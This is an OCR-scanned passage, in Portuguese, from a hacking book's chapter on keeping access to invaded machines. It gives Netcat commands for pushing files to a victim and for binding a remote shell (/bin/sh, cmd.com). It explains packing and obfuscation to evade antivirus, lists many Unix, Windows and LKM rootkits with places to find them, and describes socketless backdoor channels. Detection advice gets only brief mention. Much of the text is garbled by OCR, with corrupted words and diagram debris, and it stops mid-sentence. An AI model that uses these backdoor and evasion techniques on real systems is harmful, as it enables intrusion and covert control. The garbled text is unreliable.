a mquina da vitima que requisita O arquivo - e o firewall vai alegremente
deixar isso acontecer.
Na mquina do hacker: ne - 1 - p 9999 < ser ver . exe
Na mquina da vtima: ne 192 . 168 . 1. 1 9999 "" server . exe
A mquina do hacker fica esperando conexes. Quando uma acontece, ele en-
via o arquivo especificado. A conexo foi feita a partir da mquina da vtima. Ela
originou a conexo e comea a receber dados, que so gravados em server.exe.
Mas alm de plantar backdoors, vrus e trojans no sistema invadido, o Netcat
pode ser, ele prprio, um backdoor! A opo e redireciona lUdo o que for
recebido para um comando externo! fcil perceber Que, redirecionando para
cmd.exe no Windows ou para /bin/sh no Unix, o Netcat pode nos dar um shell ,
que ter os privilgios do usurio, em que o nc foi executado. O comando
completo na mquina da vtima seria:
ne -1 -p 9999 -e /bin/sh
Ou , para sistemas Windows :
NC -1 -p 9999 -e emd . com
Observe que a opo -e pode vir desabilitada por padro. Pode ser necessrio
compilar o cdigo novamente com a opo GAPING_SECURJTY _HOLE (o nome
j diz tudo ... ) ou baixar um executvel j preparado para tal -
netcat,source!org.e,net uma grande pedida.
H diversos outros usos para o Netcat, como, por exemplo, redirecionamento
de conexes. til para furar ftrewalls ou para criar um encadeamento (daisy
chain ou runneling mode) entre vrios computadores na Internet para fms de
spoofing. Do mesmo modo que no encadeamento de proxies pblicos, podemos
usar o Netcat para montar uma rede de proxies privativos - 15 ou 20 na mesma
linha e com rotas alternativas so aparatos comuns de hackers experientes!
Outro uso muito interess.:mte do NetC"at como port.scanner improvisado. Esses
e muitos outros destinos podem ser encontrados no excelente white paper de Tom
Armstrong intitulado "Netcat - o canivete suo do TCP/IP" (www.giac.orgl
practicaVgsecrrom Armstrong GSEC.pdf - em ingls). Uma alternativa de res-
peito ao Netcat O CryptC'U (www.farm9.eom/contentlFreeTools/CryptClt).
um clone perfeito do Netcat, com a mc."'Sma funcionalidade e sintaxe. Mas possui
um diferencial interessante: toda a comunicao criptografada. Mesmo que a
conex..10 seja descoberta, mmea sabedo o que se passa nela.
O Netcat , seguramente, a ferramenta Unix nativa (e muito instalada em
Windows tambm) mais usada como auxiliar por invasores em sistemas alhei-
os. Por ser minscula, facilmente instalada em sistemas que no a possuem.
Mas o Neteat no o nico meio de improvisar baekdoors. Fique atento a
quaisquer programas que possam dar acesso a sistemas de arquivos. O
interpretador Perl um deles: com poucas linhas de cdigo possvel montar
um servidor como o Neteat em modo -I e enviar arquivos por ele, por exemplo.
Ataque, defesa e contra-ataque: Manuteno I
Universidade 3
0
ano
Vrus e Cavalos de Tria
Apesar de serem dois :assuntos j tratados no decorrer do livro, consider.t-
mos benfico relembrar conceilOs importantes.
Mais uma vez, Vrus
No h muito o que falar sobre epidemias virais que j rujo sejam do conhecimemo
de todos. VtruS so programas que se comJX>rtam como seus homnimos biolgicos:
s.i.o microscpicos, repnxluzcm-se sozinhos, consomem computacioruLis
que rl.1.0 lhes pertence e tm alta ca.pacidade de infc..."Co por contgio.
Apesar de os programas de amivrus classificarem, como vrus, programas
como cavalos de tria, backdoors e (pasmem!) vinlS legtimos, as trs categorias
de progr.tmas so extremameme diferentes, e poderia-se di1..er ;lt complemen-
tares. Os vrus no precisam dos trojans como meio de transporte e vetor de
coma mi nao. Muito menos precisam abrir backdoors par.! entrar e sair dos
sistemas ilL'"t..udos. Mas, apesar disso, tambm podem utilizar-se deles, caso li
oportunidade aparea.
Um vrus de computador possui objetivos muito claros: i1ectar o mximo
possvel de sistemas, reproduzir-se r.tpidamente e opcionalmente consumir
recursos e danificar os sistemas invadidos.
Como so auto-suficientes, foge ao escopo deste livro discorrer a fundo so-
bre eles. Sugerimos ao leitor consultar os sites das grandes produtoras de ami-
vrus par.! obter informaes atualizadas.
E lembre-se: um vrus pode ser o companheiro para um ataque de 005 ...
Como tarefa para casa, pesquise sobre os grandes nomes do mundo viraI: Ping-
Pong, Mozart, Michelangelo, Madonna, Chemobyl , Melissa, LoveLctter (conheCi-
do no Brasil como I Love Vou), Nimda, Klez e BugBear. No campo da teoria,
estude sobre programao oriemada a objetos (vrus utili7..am-se muito dela) ,
herana, polimorfismo, funes reprodutivas e mtodos de comgio.
Vrus ainda indetectveis!
Tomemos os vrus mais conhecidos. O BugBear, por exemplo. A imprens<l o
descreve como pior ameaa virai de todos os tempos" (assim como fez com
Klez ... ) e , no entamo, um vrus comum, que usa as mesmas tcnicas ancis
de propagao, infeco, destnlio e replicao de outros mais antigos como
O Mclissa e que pode ser facilmente detectado por um antivrus atualiz."1do.
Virus mais modernos podem camuflar suas comunicaes com o mundo ex-
lemo por meio de chamadas de sistema e comunicao interprocessos (releia
os captulos sobre sistemas operdcionais). Eles podem, por exemplo, "pegar
os sockets de seu navegador padr.1o par.l mascardr a comunica-
o. Ou usar seu cliente de e-mail padro (por exemplo, o Outlook Express -
campeo de audincia) para se auto distribuir. Em nenhum dos casos o proces-
1319 I
I At aque, defesa e cont ra-ataque: Ma nuteno
I Universi dade H4CK3R I
320 I
so do virus vai aparecer durante a comunicao, e o comando netstat vai reve-
lar apenas uma simples conexo Internet de seu prprio browser. Agora
responda: que ftrewaU vai barrar comunicaes HTrP ou SMTP originadas no
lado de dentro de sua rede?
O leitor poderia ainda protestar: "mas meu antivirus est atualizadssimo,
como pegaria vrus A resposta simples: um programa desses detecta
apenas vrus conhecidos. Um simples editor hexadecimal pode alterar deta-
lhes do vrus e torn-lo, novamente, indetectado por um tempo. At que as
empresas que ganham dinheiro com esse tipo de pnico corrJ.m para atualizar
seus bancos de dados e at que as pessoas atualizem seus antivrus, o estrago
est feito. Numa estimativa muito tosca, os autores consideram que mais de
90% dos vrus que efetivamente esto solta pelo mundo no so detectados
por nenhum dos programas antivrus existentes no mercado.
Por exemplo, uma das maneiras j bem antigas de confundir um antivrus
comprimir o arquivo executvd do mesmo e adicionar um stub (pequeno pro-
grama no incio do arquivo compactado) que o descomprima na hora da exe-
cuo. Foi uma maneira inteligente de, durante muito tempo, fazer viroses pas-
sarem inclumes pdo corredor polons imposto pelas rotinas dos antivms.
J h tcnicas modernas de ofuscamento, entretanto, que colocam diversas
camadas de desafios comprimidos e criptografados, com diversos stubs dife-
rentes e chaves de criptografia distribudas pelo arquivo. Cada vez que exe-
cutado, o antivrus replica-se e se autocriptografa novamente com outrAS cha-
ves cujos pedaos sero gravados em locais diferentes dentro do arquivo.
Um antivirus, para conseguir simplesmente ler o contedo executvel do
vms, ter de descascar vrias camadas dessa cebola, descobrir vrias chaves
criptogrficas embaralhadas no meio dos dados do arquivo e ainda sabt:r quais
tipos de compresso foram usados em cada camada (sim, possvel usar tipos
diferentes de compresso). O que nos leva ao problema principal: depois de
encontrado um vms desse tipo, sero necessrios vrios dias ou mesmo sema-
nas parJ. quebr-lo. Isso, bvio, ocorrc,;r apt:nas se o antivrus conseguir de-
terminar se aquilo um VlrUS, coisa muito difcil de acontecer.
Par-J. mais infonnacs sobre essas tcnicas de ofuscamento, pesquise na Internet
sobre o DaVinci Group, um cl hacker fechado e que, ao que parece, o nico
detentor dessa tecnologia; embom seja baseada em outr.lS mais antigas que j
esto rodando por a faz muito tempo. uma simples questo de vontade. Quan-
do "cair a dos cmckers produtores de vrus para a tcnica, a computao
como a conhecemos hoje entrar em colapso.
Indo alm dos Cavalos de Tria
J conversamos rapidamente sobre cav.tlos de tria no capnl10 VulncrJ.bilid1des I.
Naquela ocasio, como criar mn que escondesse O B02K em uma inocente
Ataque, defesa e cont ra-ataque: Manuteno I
Universidade 3
0
ano
imagem. Por definio, os cavalos de tria so apenas cxpL-'d.ientes utili:z.1.dos para fazer
a vtima acn.xlitar que o arquivo em questo trata-se de algo inofensivo ou mesmo 11111
presente - embora guarde algo danoso em suas entranhas.
Cavalos de tria guardam e transportam qualquer coisa - pode ser um
backdoor (o mais usual), mas tambm pode ser um vrus, um programa inocen-
te ou mesmo outro trojan mais poderoso. Do casamento entre trojans e
backdoors, entretanto, que saem as maiores dores de cabea dos administra-
dores de sistemas e usurios domsticos ... Chamados de RATs (Remote
Administration Trojans), podem tomar o controle total do computador da vti-
ma. H milhares de RATs disponveis ou em desenvolvimento na Internet, espe-
cialmente para Windows. So, em sua maioria, desenvolvidos por kiddies ou
programadores pouco mais que isso, normalmente em Visual Basic ou Delphi.
So realmente brinquedos: embora os usurios comuns sempre caiam nas
armadinlhas deles. Verifique em areyoufearless.com. www.evileyesoftware.com
ou trojanforge.net (entre outros) e veja voc mesmo!.
Trojans trddicionais como o B02K e assemelllados possuem muitas limitaes.
So aplicaes e, portanto, rodam em User Mode. Enquanto no Wmdows isso no
problema para o invasor, pois o prprio kcrncl roda partes de seu cdigo
nesse modo, trojans carregando backdoors no funcionariam bem em outras
platafonnas. Em Unices, por exemplo, bem provvel que os usurios sequer
tenham pcnnisso de rodar programas a partir de seus diretrios pessoais.
H um outro problema com os trojans tradicionais: como so aplicativos
estranhos ao sistema, so facilmeme detectveis. Mesmo escondendo-se com
nomes insuspeitos entre os arquivos da pasta C:\ WINDOWS, ferrdmentas de
auditoria podem perfeitamente encontrii-los.
Para combater esse tipo de problema, a se1co natural criou uma especiali-
zao na fauna trojnica: a substituio de programas do sistema por outros
especialmente alterados. Chamados de rootk.its, tais programas alteram o fun-
cionamento real de utilitrios de uso freqeme, como o Ibin/login em compu-
tadores Unix ou o EXPLORER.EXE em mquinas Windows - Finder no Mac
OS, pconsole no Novell Netware, etc, etc, etc .. .
Os rootkits mais comuns fazem, basicamente, quatro coisas: a) abrir um
backdoor permanente ou ativado por um cdigo, b) mentir sobre o estado do
sistema, c) apagar ou destruir alguma coisa, d) descobrir senhas e informa-
es sigilosas.
A grande maldade de lUll rootkit , ento, embutir uma ou mais dessas quatro
fimcs em programas existentes. Por exemplo, o j citado /bin/login em sistemas
Unix. H rootkits que dio acesso irrestrito ao sistema caso uma senha pr-programa-
da seja infonnada. Por exemplo, em lUll sistema Solaris, a senha do usuriO root
@#S2L9"'&. uma boa senha, difcil de quebrar ou adivinhar. Entretanto, se o progrd-
2. Alis. um" boa idi" inrerromper (nov<lmenre) a leitura do li vro e brinc;lr long;lmenrc com rodo.,
esses rroj;lwi c: com as infom!;les e IUlOtiais presentes sites. Lda os fruns: hl fhrc"ds inrcres..o;an-
C
I 321 I
I Ataque. defesa e contra-ataque: Manuteno
I Universidade H4CK3R I
13221
ma /binJlogin for substitudo por um rootkit especialmente preparado, qualquer
usurio com a senha especial (que pode ser configurada, por exemplo, para
ganha acesso de root na .rulqlna. Um Olltro tipo de rootkit conhL"Ci-
do que tambm afeta o /binJlogin um simples kL}'logger: guarda em um arquivo as
.senhas de tOOm; os usurios que se conectam no sistema. Sujo, no acha?
Um rootkit que afete o Windows Explorer, por outro lado, pode esconder
completamente uma pasta que contenha diversos arquivos pertencentes ao
invasor. Mesmo que a visualizao de arquivos ocultos esteja ligada, esse diretrio
continuar escondido - o rootkit tratar de deix-lo longe dos olhos do lIsu-
rio. E no gerenciador de tarefas do Windows veremos, simplesmente, uma ins-
tncia do ExploreI'.
Il rootkits diversos que escondem o estado da rede, conexes, sistema de
arquivos e processos sendo rodados, entre outras coisas. Por exemplo, o ifconfig
no Linux poderia mentir sobre o modo promscuo, escondendo o funciona-
mento de um snufer. O TASKMAN.EXE (Gercnciador de Tarefas) do Windows
poderia esconder processos e servios de trojans, vrus e scanners. OtUros tj-
pos de rootkits podem ecoar as comunicaes para o hacker ou dar acesso
contornando a scnha do administrador - por exemplo, em scrvidores SSH,Telnet
oU IIS modificados.
A seguir, fornecemos um:l li sta (bastante incompleta) de comandos e progr::l
mas que podem ser substitudos por rootkjrs. Existem vrios rootkits para
cada um desses programas, portanto sugiro que o leitor, ao tomar contato com
algo novo, experimente cm seu sistema de testes.
P:ara Unix, os programas mais visados por desenvolvedores de rootkits so:
Jogin, ifconfig (no Unux), du, df, pwd, su, sudo, neLStat , nc (sim, o prprio Netcat
pode estar adulterado!), ps, find, slocate, updatedb. Os utilitrios de configura
o no escapam ilesos a rootkilS: SAM no J-IP-lIX, Admimool no Solaris, Smit
nOAIX, Linuxconf,Webmin ... Mesmo comandos internos de alguns shells - como
Is e cd no Bash - podem ser mascarados com wrappers que escondam arqui-
vos ou mintam sobre seus tamanhos. Uma malvadez:l maior instalar verses
rootkit dos shells disponveis (Bash, csh, ksh, etc) ou de servidores como Apache
e mesmo inetd/xinerd par::a abrir backdoors
Par::a Windows a lista parecida. O prprio cmd.com pode ser alter::ado par::a
mascarar acs maliciosas em funes internas como o Dm e o CD. Adicional
mente, muitos dos arquivos do Windows, como os j citados EXPLORER.EXE c
TASKMAN.EXE, podem ser '"lOrcido. Cuidado :ainda com alguns
freqememente usados, como :a Calcul:ador::a (CALC.EXE), o Bloco de Notas
(NOTEPAD. EXE) , o WordPad (WRITE.EXE) e o Editor de Registro
( REGEDITEXE). Todos esses programas esto presentes cm qualquer verso
do Windows, mesmo em servidores, c podem ser manipulados para funcionar
como rootkits. Ateno especial deve ser dada tambm s DLLs compartilha-
das por muitos aplicativos, especialmente o MFC.OLL.
Ataque. defesa e contra-ataque: Manuteno I
Universidade 3
0
ano
A lista muito mais vasta do que a que mostr.tmos. No caberia aqui elencar
todos os tipos e todos os progr.unas que podem ser alterados por rootkits.
Como sugesto, em Unix pesquise sobre Ikr5, utrojan, backdoored sendmail,
tOrnkit, rkssh, APSR, bdoor, WOOWOO, IOgin.kit, bd2, vexed, falcon-ssh, Trojanit,
rootkitSunOS, sol, e Raditz (malvado: substitui o Tripwire!), entre outros.
Esse tipo de rootkit (substituio de programas e utilitrios do sistema)
mais comum em ambientes Unix do que em Windows, embora haja tambm
inmeras ferramentas para o sistema da Microsoft. Para comear, procure por
ads_cat , FakeGINA, fu.ZIp' Xshadow, Hacker Defender, Hacker's Rootkit for
NT, Slanret, Krei , IERK (ierk8243.sys), Backdoor-AU, Caesar's RegWrite Injector,
null.sys, HE4Root (ou HE4Hook) e IIS injection.
Para saber mais sobre esses rootkits e novas tcnicas sobre o tema, procure
por informaes em www.packetstormsecuricy.nl , no www.securityfocus.com,
no www.windowsecurity.com, no si te oficial da Microsoft (www.micro
soft.om) e, principalmente, no Googlc ;-).
There is no spoon
Rootkits no so to fceis de identificar como os cavalos de tria e backdoors
comuns. Um 8ack Orifice ou um Netcat escutando em uma porta podem ser
facilmente descobertos com um simples netstat. Mas se o netstat estiver
rootkirted, a coisa muda de figura - a informao sobre as portas abertas do
backdoor estariam cobertas. O mesmo ocorre com os processos: um
EXPLORER.EXE modificado ainda assim aparece apenas como Windows
Explorer no Gerenciador de Tarefas.
Entretanto, apesar de mais elaborados, rootkits comuns que alteram a funci-
onalidade de programas ordinrios do sistema opemcional podem ser detecta-
dos por camctersticas no bvias, mas, mesmo assim, aparentes. O progmma
alterado pode ter sua data de criao diferente das demais. Mesmo que seja
igual , o tamanho pode ser diferente do original , verificado em outras mquinas.
Se o tamanho for igual, seguramente sua estmtura interna no o , e pode ser
compamdo byte a byte com a de um sistema so.
Outra alternativa verificar o checksum dos arquivos que compem o pro-
grama. Sistemas Unix normalmente utilizam-se de uma assinatura MDS para
gamntir a idoneidade dos arquivos. Em sistemas Windows, a Microsoft adota
um procedimento semelhante, baseado em esteganografia aplicada ao logotipo
do Windows. Em qualquer dos casos, se a assinatur.t no bater com a original , o
programa seguramente est adulterado e precisa ser apagado ou substitudo.
Administmdores realmente paranicos (e eles no esto ermdos, longe dis-
so!) instalam controladores de inventrio com verificadores de integridade de
arquivos (como por exemplo, o Tripwire ou o AlDE) em todos os seus compu-
tadores (inclusive estaes de tmbalho). Qualquer arquivo que seja allerado
por um rootki{ ser detectado na prxima verificao e uma mensagem de
1323 1
I Ataque. defesa e contra-ataque: Manuteno
I Universidade H4CK3R I
1324 1
alerta vermelho surgir na tela do administrador.
Para fugir deste cenrio, os hackers criaram uma modalidade de rootkits com
um nvel mais elevado de camuflagem. Desta vez, os arquivos e programas de
sistema ficam intactos: o prprio kernc1 do sistema oper<lcional substitudo por
outro completamente adultemdo. Uma dualidade parecida com a do Super-Ho-
mem e seu antiego, o Bizarro (ahhh, bons tempos em que passava as manhs vendo
os Superamigos .. .).
J falamos sobre kernel em vrios captulos e mesmo nos apndices. Todo o
processamento do sistema obrigatoriamente passa por ele e, portanto, control-lo
como em uma possesso demonaca algo extremamente poderoso e destrutivo.
Entre as iniqidades que podemos praticdf a partir de nossa possesso esto:
Camuflagem de arquivos do invasor, exatamente como nos rootkits cOo-
muns. A diferena que, sendo pelo kemel, tal artificio pmticamente impossvel
de ser contornado ou mesmo descoberto.
Camuflagem de conexes de rede. Da mesma forma como fizemos, em
Unix e em Wmdows, com uma verso alterada do comando netstat, um kernel
roolkittcd pode tambm esconder conexes especficas. Apenas sniffers rodando
em oulras mquinas so capazes de detectar tais conexes.
Camuflagem de processos. O kemel gerencia os processos. O prprio kernel ,
ento, que d a lista deles para os programas que os listam (ps no Unix,
Gerendador de Tarefas no WU1dows). Com isso, fiCd f."!cil esconder desses pro-
gramas (e, portanto, dos lI5WlriOS) os processos nocivos que estejam nxlando.
Redlredonamento. Imagine o seguinte cenrio: um inV'dSOr pro-
gramas nocivos na pasta C\ W1NDOWS\SYSTEM32\ em lUll sistema Windows NT
4. O rootkit no kemel trata de t:sconder esses progr.unas enquanto mostr-d nonn:lI-
mente todos os outros arquivos da mesma pasta. Um desses arquivos uma cpia
modificada do Wmdows Explorer (EXPLORER.EXE). Cada vez que o Windows
solkita a execuo de uma nova instnda do Explorer, em vez de abrir o programa
original, o kemel vai redirecionar a execuo para o Explorer modificado. Qual-
quer ferramenta de audiloria ir testar a integridade do EXPLORER.EXE original
(annazenado na pasta C\ WINDOWS) e o encomrar.1 imocado.
Usando essas quatro traquinagens, o programador que desenvolveu o rootkit
pode criar duas realidades parJ. o administmdor de usurios. Uma, bela e sem
problemas, completamentc falsa. A outra, cheia de furos de segurana, portas de
tri'ls e manipulao ind<.--vida de doclUllentos e arquivos, a real. Cabe ao adminis-
trador decidir se continua vivendo feliz em sua redoma vinual ou se ingere o
comprimido venneUlO.
A1tcr-M um kcrne1 por meio de nx>tkits facil e pode ser feito de duas maneir'.lS.
A primeira por meio de patches, e a preferida por hackers que desenvolvem
para Wmdows. Funcionando (1:1 mesma maneira que os I-Iotfixes c Service Packs
da prpria Microsoft, um patch para inserir um rootkit sobrescreve arquivos
inteiros ou parte dcles, injctando novas rotinas e desvios e fazendo-os respon-
Ataque. defesa e contra-ataque: Manuteno I
Universidade 3 ano
der diferentemente do originalmente previsto. Como o kernel do Wmdows
composto por algumas dezenas de DLLs acessveis pelos usurios, a tarefa,
apesar de traballiosa, simples e s vezes sequer necessita ser executada por
um usurio com muitos privilgios sobre O sistema. Como toda instalao em
um sistema Windows, aps a aplicao do patch o sistema deve ser reiniciado
- mas isso pode ser feito pelo prpro invasor e em mais de 90% dos casos tal
anomalia ser considerada pelo administrador da mquina como mais
um pau no
A outra maneira, mais apreciada pelos amantes do Unix, funciona por meio
de Mdulos Carregveis do Kernel (Loadable Kernel Modules oU LKM). Se o
leitor no pulou os importantes captulos sobre sistemas operacionais, deve
lembrar-se de que, ao contrrio do microkernel do Windows, os Unix em geral
so monolticos. Um nico mamutesco e por vezes criptografado arquivo en-
globa o ncleo central e a maioria dos drivers de dispositivo do sistema.
medida que os sistemas Unix iam evoluindo, percebeu-se que a poltica de
kernels monolticos deveria ser caso contrrio teramos siste-
mas cujo ncleo residiria num arquivo de dezenas ou mesmo centenas de
megabytes contendo milhares de drivers para hardware que nunca vamos ad-
quirir. Por isso, os kernels passaram a ser modulares: um ncleo base (longe de
ser um microkemel) seria carregado primeiro, e os demais drivers apenas seri-
am carregados se o hardware fosse solicitado. Esses drivers (e alguns progra-
mas e utilitrios que rodam em modo kemel) residem em LKMs. fcil notar
que possvel alterar o comportamento do kernel com mdulos carregados
muito depois do boot. Um LKM pode inclusive ser carregado sob demanda,
automaticamente ou a partir de um comando emitido remotamente pelo inva-
sor atravs de um backdoor comum.
Pesquise sobre os LKM rootkits de seu sistema operacional e, preferencial-
mente teste todos os que encontrar (em nossa rede de testes e no em ambien-
te de produo!!!). Relacionamos alguns mais famosos (ou informaes para
entender LKMs nas diversas plataformas), mas intencionalmente no coloca-
mos os mais recentes para acostumlo a procurar.
Para Windows (9x e Nn: www.rootkit.com (passagem obrigatria).
Para Linux: Adore, Carogna (PrOgeto CarOnte), Knark, phide, heroine.c,
spooflkm, suidshow.c, kinsmod, Rial, THC Backdoor (lkm), kernel.keylogger,
SucKJT, lkminject;
Para Solaris: Plasmoid, slkm, ksolaris, THC Backdoor (lkm);
P'dra FreeBSD: AdoreBSD, ipthack, Ibk, THC Backdoor (lkm);
P'dm OpenBSD: AdoreBSD, obsd_ipfhack, THC Backdoor (lkm);
Para Windows 9x (veja s!): Burning Chame.
Como ltima dica, leia estes white papers:
www.wOOwOO.org/files/artides/lkmhack.txt;
packetstormsecurity.nl/docsfhacklLKM HAKlNG.html;
packctsIQrmSecurity.nl/Win/vxd.txt.
1325 I
I Ataque. defesa e contra-ataque: Manuteno
I Universidade H4CK3R I
3261
Comunicaco sem conexes

Tudo isso muito bom, tudo isso muito bonito, mas qualquer servidor - seja
ele HlTP, SMTP, Finger ou mesmo um backdoor embutido no kernc1 - precisa
de sockets para se conectar. Como vimos, um socket , grosso modo, um trio
IP/porta/protocolo_ Portanto, para me conectar a um servio qualquer (um
servidor SSH, por exemplo), tenho de criar uma conexo entre o meu cliente
SSH e a porta 22 daquele servidor. Com backdoors a mesma coisa: se eu
improvisei um servidor com Netcat na porta 9999, preciso me
conectar a essa porta (e manter a conexo) pa.J. inte'J.gir com ele.
Isso quer dizer que mesmo em sistemas comprometidos por rootkits poss-
vel descobrir falcatmas desse tipo_ Basta rodar um sniffer como o Ethereal em
outro computador da rede (a estao de trabalho do administrador, por exem-
plo) e todas as conexes esprias podem ser detectadas, certo?
Detesto dizer isso, mas novamente a resposta no. H pelo menos uma manei-
ras conhecida' de esconder o trfego e no precisar de conexo para trocar paco-
tes, que combina sniffing c spoofing com a manipulao da pilha TCP/lP
Ouvidos moucos
Firewalls e antivirus so as estrelas do momento no tocante segurana de redes
c computadores. Coloca-se muita f cm mnbos os dispositivos e, num comlXlItunen-
to nonnal em seres humanos, relaxa-se nos demais aspeaosde segurana. No estamos
dizendo que sejanl despesas inllteis, pelo contrrio: firewa.lls c antivlms mantm
longe de seus sistemas um nmero asustador (muitos milhes) de script-kiddies. Mas
entre centenas de milhares de kiddies h de haver um hacker de verdade.
Na verdade, nenhum firewall - seja ele por software ou personificado em um
hardware dedJcado - chega sequer prximo de deixar qualquer mquina segura,
caso um hacker desses apresente-se para o confronto com sua rede ou seus
servidores_ Pense um pouco: seu frrewall tem de, obrigatoriamente, deixar passar
os protocolos e servios que os usurios usam. Se os seus usurios so autoriza-
dos a usar programas de Instant Messenger (ICQ, por exemplo), as portas do
ICQ devem estar liberadas para trfego sainte e entrante. Se os seus usurios
usam a World Wide Web, trfego HTI1> sainte peJa porta 80 e entrante por por-
tas altas deve, tambm, ser liberado_
S no cenrio acima, vemos que as pol1as 25 e 80 sempre estaro l, abertas para
quem quiser usar. Inclusive para o hacker que, usando todos os tmques que vimos
em Vulnerabilidades e nestes capUllos fmais, pode pesquisar toda a sua rede inter-
na e explorar vulnerabilidades conhecidas usando apenas a porta 80. Como se diz
comumente em crculos crackers, porta 80 sempre estar .. _ E o que o carssi-
mo flrewall pode fazer a respeito, eu pergunto? Talvez registrar todos os pacotes
que passarem por ele, par.t futur.t anlise - se muito.
3. L,-mbn:-.<;c: h lcnk"as cm poder de <:Iiis hal:kcr c cm .o;CSn:dn do qUt- :JS
divu/g.1d:Js de se filzer:J CO;s:l . Espere e fique .1lento pilro nov;:Jdes na Ire:J e/1/ breve!
Ataque. defesa e contra-ataque: Manuteno I
Universidade 3(> ano
Farejando problemas !comunicao sem sockets I
Como vimos no captulo anterior, podemos farejar a rede toda e recolher
trfego mesmo Que no seja endereado a ns. A uliJiz.'1o mais bvia dessas
tcnicas , realmente, a rede para descobrir dados, usurios, senhas e,
possivelmente, capturJ.r conexes. Mas h ainda um novo tnlque que podemos
fazer com sniffcrs.
Conexes eSlabelecidas por meio de sockets so mostradas com uma sim-
ples consulta ao netstat.
Mesmo que seu sistema
esteja absurdamente
trojanizado e cheio de
rootkits, as conexes
Tep estabelecidas (e
mesmo trocas de paco-
tes que no usam
conexes, mas , sim,
lIsam sockets) podem
ser monitoradas por ou-
tras mquinas. M<ls e se
no houver conexo?
hN. D

,
,
: com Snrff.,
, ,
, ,-
,- - - - - t
s...-dll-_

-
SoMllol di WEB
I
-
...... _1,


"



=
I
,
-
-
-
1=
-
Aj
n

Ifr._
.....

,,"c ... dI_.IIo.
,
li :
Aj
, ItlEXIXTtNTE c_
......... di .mlndo
.,. o BACKDOOR
Um trojan Ou backdoor e o software cliente n:xbndo no computador do inva-
sor podem comunicarse com ou por meio de trfego esprio. O hacker envia
pacotes TCP ou UDP a computadores n:lo existentes na rede, mas dentro da
f,lixa de IPs aprovada pelo firewall. Como no endereada a ningum, a mensa-
gem morre dentro da rede e n:io se fab mais no assunto. S que o computador
com o backdoor socketless, farejando tudo indiscriminadamente, Cllpturou o
pacote sem destino e o processou. Simples como roubar doce dc criana.
Pon.s
Gateway
.. _---
Internet
, ,
' 8ACKOOOR '
,
YNNI. pornosllow_co m. rl
---------'
1:),.I.ra o caminho ill\'erso, o backdoor utiliza-se de programas j existentes no
computador e que j fazem, pela prpria nalUreza, conexes por sockets. Um
browser o melhor exemplo. O Z Usurio abre seu Intemet Explorer e digita
www.pornoshow.com.ru. O backdoor detecca a conexo e injeta, no meio do
trem de dados, um ou dois bytes por pacotc em reas nas quais no vo causar
problemas (o enchimento, por exemplo, ou o fr'.I.gmcnt offset quando este no
1327 1
I Ataque, defesa e contra-ataque: Manuteno
I Universidade H4CK3R I
328 1
usado). Dependendo do protocolo usado como burro de carga, possvel
inclusive, colocar mais dados no prprio payJo'ld lP O endereo IP de destino
no alterado, e o invasor precisa estar posicionado no caminho da conexo
para farejar os pacotes e extrair deles os dados da comunicao.
Atualizando a camuflagem
Um sniffer em modo promscuo, entretanto, ruidoso numa rede e pode ser
facilmente detectvel com ferramentas especiais. Mas nada impede que um snllfer
seja executado em modo exclusivo, farejando apenas o trfego que entra e sai.
Nesse caso, o hacker no envia para a rede pacotes com IPs inexistentes, mas sim
direcionados eX:lt:lmente p:lf"J. a mquina onde est o b:lckdoor. Mas com um
detalhe: direcionados a portas que no estejam em uso.
Em um computador norm:ll, :I piUla TCP/IP simplesmente
que chegam a portas
inexistentes ou desa-
. -------

,
, BAKDOOR
:
- - --------
.-
-
ignoraria os dados
R"
--
.-
tivadas. Mas em nosso
caso, o backdoor est
escutando tudo o que
chega em todas elas. So
virtualmente 65 mil
portas TCP e outras 65
mil UDP que o
backdoor ou trojan
pode usar para escutar
o que chega, mesmo
que a conexo no seja
estabelecida.
I SMTP
Id
.,
E
1
WEB
""" """'. '_-"'-uo'
,
"' ''''''''''l'' _
__ 1_1
1_ $rNlACl()
1
R"



!lAC1(()()()R _ _
_,,_e ....... 1'I>no
Muitos diriam que isso impossvd, que existe a obrigatoriedade de estabele-
cer um socket para recolher dados de uma porta. Ledo engando. Os sniffers
comuns (mesmo os mais simples) esto a para provar que se pode escutar
trfego mesmo que no seja direcionado ao seu MAC!!! Se no h necessidade
de conexo no protocolo Ethernet, possvel recolher qualquer dado de qual-
quer porta sem que seja necessrio conectar sockets a elas. Essa tcnica cha-
mada de Layer-O listening.
Como veremos mais adiante, possvel colocar uma camada adicional entre
quaisquer duas camadas da pilha OSI (ou TCP/IP, na prtica) e manipular dados l.
Essa ;unada pode, inclusive, ficar nas amadas de mais baixo nvel, ou mesmo
entre a pilha e a interface de rede fsica (da o nome Layer-O, tUna vez que a camada
fisiC'J. a I). As ferr.unentas que nonnalmente usamos para detectar, monitorJ.r e
barrar conexes e vrus - netstat, nbtstat, ftreWalls e antivrus locais etc, etc, etc. -
esto posicionados antes da pilha TCP/lP (ou seja, a pilha fica sempre entre a
Ataque. defesa e contra-ataque: Manuteno I
Universidade 3' ano
femunenta e a rede). Qualquer manipulao ou insero que fao.unos no fluxo de
dados podcr ser retirada antes de chegar s ferramentas em questo.
Port:tnIO, para que o backdoor que use tcnicas de Layer-O possa escutar a
rede, pelo mcnos um dos Irs requisilOs abaixo deve ser preenchido:
Os paCOles so ('-"I1ereldos ao MAC da interface de rede do computador invadido
A mensagem um broadcast ,
A conexo ponlo-a-pomo, como por exemplo em conexes discadas via
modem, ISDN/RDSI ou xDSL com pppoe.
A partir desses pr-requisilos, possvel interagir com o backdoor/ trojan
usando os seguintes expedientes:
BroadcaSls em seqncia;
Pacotes (CMP em seqUncia (ping, Destination Unreachable eTraceroule);
Pacotes enviados a qualquer porta do equipamento - aberta ou no;
Pacotes rejeitados pela pilha TCP/IP por serem malformados ou
encapsulados de forma equivocada (note que eles lm de ser perfeitos nas
camadas 2 e 3 pam serem roleveis, o que nos deixa apenas a camada 4 ... ). Os
pacotes so rejeitados pela pilha TCP!lP mas no pelo lrojan.
Essas coisas so possveis de fazer em praticamente 100% dos casos, nas redes
modernas baSL'"adas em Ethernel (ou PPP/SUP) e TCP/ lP. Estima-se que pelo me-
nos um aplicativo bem conhecido se utilize dessas tcnicas: o to falado Magic
Lanlcm/ Camivore, do governo dos Estados Unidos, usado para monitorar o tr-
fego na lmemet procura de terroristas, pedfilos e hackers de pl;mto.
Layer-o: como funciona
Todas as infonnacs aqui reproduzidas foram obtidas nos foruns abertos do
maioria deL'lS foi postada JX>T M3du54, um membro do grupo trojanner
britnico DaVma. Fsse grupo foi o n;sponsve1, em 1999, pelo desenvolvimemo do
LSP The Mini Baug e diversos outros baseados em VxDs, pottlnto toda a leoria
